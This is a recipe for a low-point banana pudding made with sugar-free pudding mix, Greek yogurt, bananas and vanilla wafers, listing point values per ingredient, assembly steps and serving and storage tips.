Ingredients (Makes 6 servings):

  • 1 box (1 oz) sugar-free, fat-free instant vanilla pudding mix – 3 points
  • 2 cups unsweetened almond milk (or other low-point milk) – 1 point
  • 1 cup fat-free plain Greek yogurt – 0 points
  • 2 medium bananas, sliced – 0 points
  • 24 reduced-fat vanilla wafers – 10 points
  • Fat-free whipped topping (optional) – 0 points for 2 tbsp

Total points for the entire recipe14 points
Points per serving3 points (for 6 servings)

Instructions:

  1. Prepare the pudding mix:
    • In a large bowl, whisk the sugar-free vanilla pudding mix with the almond milk for 2 minutes until it begins to thicken.
  2. Add Greek yogurt:
    • Fold in the fat-free Greek yogurt to the pudding mixture until smooth and creamy. This adds a rich texture without adding many points.
  3. Assemble the layers:
    • In a serving dish or individual cups, layer the pudding mixture, banana slices, and vanilla wafers. Start with a layer of pudding, then bananas, then wafers. Repeat as desired.
  4. Top with whipped topping:
    • If using, add a dollop of fat-free whipped topping on top of each serving.
  5. Chill:
    • Refrigerate the pudding for at least 1 hour before serving to let the flavors combine and the wafers soften slightly.
  6. Serve:
    • Serve chilled and enjoy your delicious banana pudding!

Tips:

  • Swap the wafers: If you want to lower the points even more, reduce the number of vanilla wafers or crush them for a lighter sprinkling across each layer.

  • Individual servings: Layer the pudding in small mason jars or dessert cups for perfect portion control.
  • Storage: This banana pudding can be stored in the refrigerator for up to 3 days, but it’s best enjoyed fresh, as the wafers will soften over time.
